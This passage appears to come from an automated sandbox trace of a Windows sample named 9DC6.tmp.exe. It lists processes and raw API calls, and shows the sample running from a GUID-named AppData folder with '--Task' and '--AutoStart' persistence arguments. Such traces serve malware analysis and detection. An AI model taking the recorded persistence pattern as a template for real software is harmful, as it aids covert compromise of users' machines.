wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.327] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.327] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.327] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.328] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.373] TranslateAcceleratorW (hWnd=0x201d0, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.373] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.373] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.373] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.373] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.373] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.373] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.374] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.374] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.374] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.374] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.374] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.421] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.421] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.421] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.421] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.421] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.421] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.421] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.422] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.467] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.467] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.467] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.467] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.467] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.467] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.467] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.468] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.709] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.709] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.709] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.709] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.709] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.709] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.709] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.710] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.966] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.966] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.966] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.966] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.966] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.966] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.966] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.967] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.998] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.998] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.998] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.998] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0063.998] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0063.998] TranslateMessage (lpMsg=0x18e548) returned 0 [0063.998] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0063.999] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.044] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0064.044] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.044] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.044] GetMessageW (in: lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e548) returned 1 [0064.044] TranslateAcceleratorW (hWnd=0x301b8, hAccTable=0x101d9, lpMsg=0x18e548) returned 0 [0064.044] TranslateMessage (lpMsg=0x18e548) returned 0 [0064.044] DispatchMessageW (lpMsg=0x18e548) returned 0x0 [0064.045] GetMessageW (lpMsg=0x18e548, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) [0064.070] NtdllDefWindowProc_W () returned 0x1 [0064.070] NtdllDefWindowProc_W () returned 0x1 [0064.070] NtdllDefWindowProc_W () returned 0x2 [0064.070] NtdllDefWindowProc_W () returned 0x0 Thread: id = 118 os_tid = 0x928 [0062.118] timeGetTime () returned 0x114896b [0062.118] timeGetTime () returned 0x114896b [0062.118] Sleep (dwMilliseconds=0x3e8) [0063.124] timeGetTime () returned 0x1148d61 [0063.124] timeGetTime () returned 0x1148d61 [0063.124] Sleep (dwMilliseconds=0x3e8) Process: id = "12" image_name = "9dc6.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe" page_root = "0x13692000" os_pid = "0x920" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "10" os_parent_pid = "0x8f8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --Task" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 119 os_tid = 0x96c Thread: id = 120 os_tid = 0x924 Process: id = "13" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x230f4000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "10" os_parent_pid = "0x8f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cedf" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 71 os_tid = 0x8f4 Thread: id = 72 os_tid = 0x8f0 Thread: id = 73 os_tid = 0x8e8 Thread: id = 74 os_tid = 0x8e4 Thread: id = 75 os_tid = 0x8e0 Thread: id = 76 os_tid = 0x8dc Thread: id = 77 os_tid = 0x8d8 Thread: id = 78 os_tid = 0x8d4 Thread: id = 79 os_tid = 0x8d0 Thread: id = 80 os_tid = 0x8cc Thread: id = 81 os_tid = 0x8c8 Thread: id = 82 os_tid = 0x8c4 Thread: id = 83 os_tid = 0x358 Thread: id = 84 os_tid = 0x7f8 Thread: id = 85 os_tid = 0x430 Thread: id = 86 os_tid = 0x268 Thread: id = 87 os_tid = 0x768 Thread: id = 88 os_tid = 0x764 Thread: id = 89 os_tid = 0x760 Thread: id = 90 os_tid = 0x75c Thread: id = 91 os_tid = 0x70c Thread: id = 92 os_tid = 0x6e8 Thread: id = 93 os_tid = 0x6c8 Thread: id = 94 os_tid = 0x6c0 Thread: id = 95 os_tid = 0x6b8 Thread: id = 96 os_tid = 0x6a4 Thread: id = 97 os_tid = 0x6a0 Thread: id = 98 os_tid = 0x690 Thread: id = 99 os_tid = 0x67c Thread: id = 100 os_tid = 0x490 Thread: id = 101 os_tid = 0x454 Thread: id = 102 os_tid = 0x450 Thread: id = 103 os_tid = 0x428 Thread: id = 104 os_tid = 0x424 Thread: id = 105 os_tid = 0x420 Thread: id = 106 os_tid = 0x404 Thread: id = 107 os_tid = 0x18c Thread: id = 108 os_tid = 0xf0 Thread: id = 109 os_tid = 0xc8 Thread: id = 110 os_tid = 0x3f0 Thread: id = 111 os_tid = 0x3e4 Thread: id = 112 os_tid = 0x398 Thread: id = 113 os_tid = 0x394 Thread: id = 114 os_tid = 0x390 Thread: id = 115 os_tid = 0x38c Thread: id = 116 os_tid = 0x378 Thread: id = 117 os_tid = 0x370 Thread: id = 168 os_tid = 0xa00 Thread: id = 169 os_tid = 0xa08 Process: id = "14" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 122 os_tid = 0x570 Thread: id = 123 os_tid = 0x7ac Thread: id = 124 os_tid = 0x7fc Thread: id = 125 os_tid = 0x644 Thread: id = 126 os_tid = 0x5e4 Thread: id = 127 os_tid = 0x754 Thread: id = 128 os_tid = 0x704 Thread: id = 129 os_tid = 0x6e0 Thread: id = 130 os_tid = 0x6b0 Thread: id = 131 os_tid = 0x698 Thread: id = 132 os_tid = 0x678 Thread: id = 133 os_tid = 0x630 Thread: id = 134 os_tid = 0x610 Thread: id = 135 os_tid = 0x14c Thread: id = 136 os_tid = 0x140 Thread: id = 137 os_tid = 0x158 Thread: id = 138 os_tid = 0x294 Thread: id = 139 os_tid = 0x218 Thread: id = 140 os_tid = 0x230 Thread: id = 141 os_tid = 0x21c Thread: id = 142 os_tid = 0x1c4 Thread: id = 172 os_tid = 0xa24 Thread: id = 173 os_tid = 0xa3c Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8bed000" os_pid = "0x334" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "13" os_parent_pid = "0x36c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba6f" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 143 os_tid = 0x790 Thread: id = 144 os_tid = 0x3a0 Thread: id = 145 os_tid = 0x658 Thread: id = 146 os_tid = 0x584 Thread: id = 147 os_tid = 0x750 Thread: id = 148 os_tid = 0x730 Thread: id = 149 os_tid = 0x728 Thread: id = 150 os_tid = 0x674 Thread: id = 151 os_tid = 0x65c Thread: id = 152 os_tid = 0x144 Thread: id = 153 os_tid = 0x118 Thread: id = 154 os_tid = 0x3ec Thread: id = 155 os_tid = 0x3e8 Thread: id = 156 os_tid = 0x3e0 Thread: id = 157 os_tid = 0x3dc Thread: id = 158 os_tid = 0x3cc Thread: id = 159 os_tid = 0x3c8 Thread: id = 160 os_tid = 0x388 Thread: id = 161 os_tid = 0x384 Thread: id = 162 os_tid = 0x380 Thread: id = 163 os_tid = 0x37c Thread: id = 164 os_tid = 0x364 Thread: id = 165 os_tid = 0x360 Thread: id = 166 os_tid = 0x34c Thread: id = 167 os_tid = 0x338 Thread: id = 170 os_tid = 0xa1c Process: id = "16" image_name = "9dc6.tmp.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe" page_root = "0x7bb4e000" os_pid = "0x544" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e7b0" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 174 os_tid = 0x548 [0091.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xcec9bae0, dwHighDateTime=0x1d55a45)) [0091.114] GetCurrentThreadId () returned 0x548 [0091.114] GetCurrentProcessId () returned 0x544 [0091.114] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=5998946842) returned 1 [0091.114] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7757fd35, hStdError=0x775e7daf)) [0091.168] GetProcessHeap () returned 0x5010000 [0091.175] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x754f0000 [0091.175] GetProcAddress (hModule=0x754f0000, lpProcName="FlsAlloc") returned 0x75504f2b [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="FlsFree") returned 0x7550359f [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="FlsGetValue") returned 0x75501252 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="FlsSetValue") returned 0x75504208 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="InitializeCriticalSectionEx") returned 0x75504d28 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CreateEventExW") returned 0x7558410b [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CreateSemaphoreExW") returned 0x75584195 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadStackGuarantee") returned 0x7550d31f [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CreateThreadpoolTimer") returned 0x7551ee7e [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadpoolTimer") returned 0x775a441c [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x775cc50e [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CloseThreadpoolTimer") returned 0x775cc381 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CreateThreadpoolWait") returned 0x7551f088 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadpoolWait") returned 0x775b05d7 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="CloseThreadpoolWait") returned 0x775cca24 [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="FlushProcessWriteBuffers") returned 0x77580b8c [0091.176] GetProcAddress (hModule=0x754f0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7763fde8 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentProcessorNumber") returned 0x775d1e1d [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetLogicalProcessorInformation") returned 0x75584761 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="CreateSymbolicLinkW") returned 0x7557cd11 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="EnumSystemLocalesEx") returned 0x7558424f [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="CompareStringEx") returned 0x755846b1 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetDateFormatEx") returned 0x75596676 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetLocaleInfoEx") returned 0x75584751 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetTimeFormatEx") returned 0x755965f1 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetUserDefaultLocaleName") returned 0x755847c1 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="IsValidLocaleName") returned 0x755847e1 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="LCMapStringEx") returned 0x755847f1 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentPackageId") returned 0x0 [0091.177] GetProcAddress (hModule=0x754f0000, lpProcName="GetTickCount64") returned 0x7551eee0 [0091.178] GetProcAddress (hModule=0x754f0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0091.178] GetProcAddress (hModule=0x754f0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0091.178] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3bc) returned 0x5021e88 [0091.178] GetCurrentThreadId () returned 0x548 [0091.178] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x5020a20 [0091.178] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x800) returned 0x5022250 [0091.178] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40d87c, hStdOutput=0xaa8c4a0e, hStdError=0x0)) [0091.178] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0091.178] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0091.178] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0091.179] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" [0091.179] GetEnvironmentStringsW () returned 0x5022a58* [0091.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1409 [0091.179] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x581) returned 0x5023568 [0091.179] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1409, lpMultiByteStr=0x5023568, cbMultiByte=1409, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1409 [0091.179] FreeEnvironmentStringsW (penv=0x5022a58) returned 1 [0091.179] GetLastError () returned 0x7f [0091.179] SetLastError (dwErrCode=0x7f) [0091.179] GetLastError () returned 0x7f [0091.179] SetLastError (dwErrCode=0x7f) [0091.179] GetLastError () returned 0x7f [0091.179] SetLastError (dwErrCode=0x7f) [0091.179] GetACP () returned 0x4e4 [0091.179] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x220) returned 0x5023af8 [0091.179] GetLastError () returned 0x7f [0091.179] SetLastError (dwErrCode=0x7f) [0091.179] IsValidCodePage (CodePage=0x4e4) returned 1 [0091.179] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0091.179] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0091.179] GetLastError () returned 0x7f [0091.179] SetLastError (dwErrCode=0x7f) [0091.179] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.219] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0091.219] GetLastError () returned 0x7f [0091.219] SetLastError (dwErrCode=0x7f) [0091.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.219] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.221] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 